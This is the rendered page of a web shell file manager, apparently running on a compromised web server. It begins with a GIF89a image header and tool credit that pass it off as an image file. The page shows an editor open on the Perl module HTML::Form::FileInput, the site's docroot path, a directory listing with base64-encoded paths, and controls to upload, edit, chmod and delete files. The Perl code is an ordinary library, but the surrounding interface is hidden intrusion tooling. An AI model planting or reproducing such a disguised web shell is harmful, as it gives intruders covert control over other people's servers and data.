GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>FileInput.pm<form method=post action="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0%3D&f=RmlsZUlucHV0LnBt"><input name="f" value="FileInput.pm"><textarea name="t">package HTML::Form::FileInput;

use strict;
use parent 'HTML::Form::TextInput';

our $VERSION = '6.11';

# ABSTRACT: An HTML form file input element for use with HTML::Form

sub file {
    my $self = shift;
    $self-&gt;value(@_);
}

sub filename {
    my $self = shift;
    my $old  = $self-&gt;{filename};
    $self-&gt;{filename} = shift if @_;
    $old = $self-&gt;file unless defined $old;
    $old;
}

sub content {
    my $self = shift;
    my $old  = $self-&gt;{content};
    $self-&gt;{content} = shift if @_;
    $old;
}

sub headers {
    my $self = shift;
    my $old  = $self-&gt;{headers} || [];
    $self-&gt;{headers} = [@_] if @_;
    @$old;
}

sub form_name_value {
    my ( $self, $form ) = @_;
    return $self-&gt;SUPER::form_name_value($form)
        if $form-&gt;method ne &quot;POST&quot;
        || $form-&gt;enctype ne &quot;multipart/form-data&quot;;

    my $name = $self-&gt;name;
    return unless defined $name;
    return if $self-&gt;{disabled};

    my $file     = $self-&gt;file;
    my $filename = $self-&gt;filename;
    my @headers  = $self-&gt;headers;
    my $content  = $self-&gt;content;
    my %headers  = @headers;
    if ( defined $content || grep m/^Content$/i, keys %headers ) {
        $filename = $file unless defined $filename;
        $file     = undef;
        unshift( @headers, &quot;Content&quot; =&gt; $content );
    }
    elsif ( !defined($file) || length($file) == 0 ) {
        return;
    }

    # legacy (this used to be the way to do it)
    if ( ref($file) eq &quot;ARRAY&quot; ) {
        my $f  = shift @$file;
        my $fn = shift @$file;
        push( @headers, @$file );
        $file     = $f;
        $filename = $fn;
    }

    return ( $name =&gt; [ $file, $filename, @headers ] );
}

1;

__END__

=pod

=encoding UTF-8

=head1 NAME

HTML::Form::FileInput - An HTML form file input element for use with HTML::Form

=head1 VERSION

version 6.11

=head1 AUTHOR

Gisle Aas &lt;gisle@activestate.com&gt;

=head1 COPYRIGHT AND LICENSE

This software is copyright (c) 1998 by Gisle Aas.

This is free software; you can redistribute it and/or modify it under
the same terms as the Perl 5 programming language system itself.

=cut
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/perl5/HTML/Form<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1M"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&x=RmlsZUlucHV0LnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=RmlsZUlucHV0LnBt"/>FileInput.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=RmlsZUlucHV0LnBt&c=`+btoa(c):0" value="0644"></td><td>2096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&x=SWdub3JlSW5wdXQucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=SWdub3JlSW5wdXQucG0="/>IgnoreInput.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=SWdub3JlSW5wdXQucG0=&c=`+btoa(c):0" value="0644"></td><td>773</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&x=SW1hZ2VJbnB1dC5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=SW1hZ2VJbnB1dC5wbQ=="/>ImageInput.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=SW1hZ2VJbnB1dC5wbQ==&c=`+btoa(c):0" value="0644"></td><td>947</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&x=SW5wdXQucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=SW5wdXQucG0="/>Input.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=SW5wdXQucG0=&c=`+btoa(c):0" value="0644"></td><td>3522</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&x=S2V5Z2VuSW5wdXQucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=S2V5Z2VuSW5wdXQucG0="/>KeygenInput.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=S2V5Z2VuSW5wdXQucG0=&c=`+btoa(c):0" value="0644"></td><td>765</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&x=TGlzdElucHV0LnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=TGlzdElucHV0LnBt"/>ListInput.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=TGlzdElucHV0LnBt&c=`+btoa(c):0" value="0644"></td><td>6597</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&x=U3VibWl0SW5wdXQucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=U3VibWl0SW5wdXQucG0="/>SubmitInput.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=U3VibWl0SW5wdXQucG0=&c=`+btoa(c):0" value="0644"></td><td>1008</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&x=VGV4dElucHV0LnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=VGV4dElucHV0LnBt"/>TextInput.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=VGV4dElucHV0LnBt&c=`+btoa(c):0" value="0644"></td><td>1213</td></tr></table>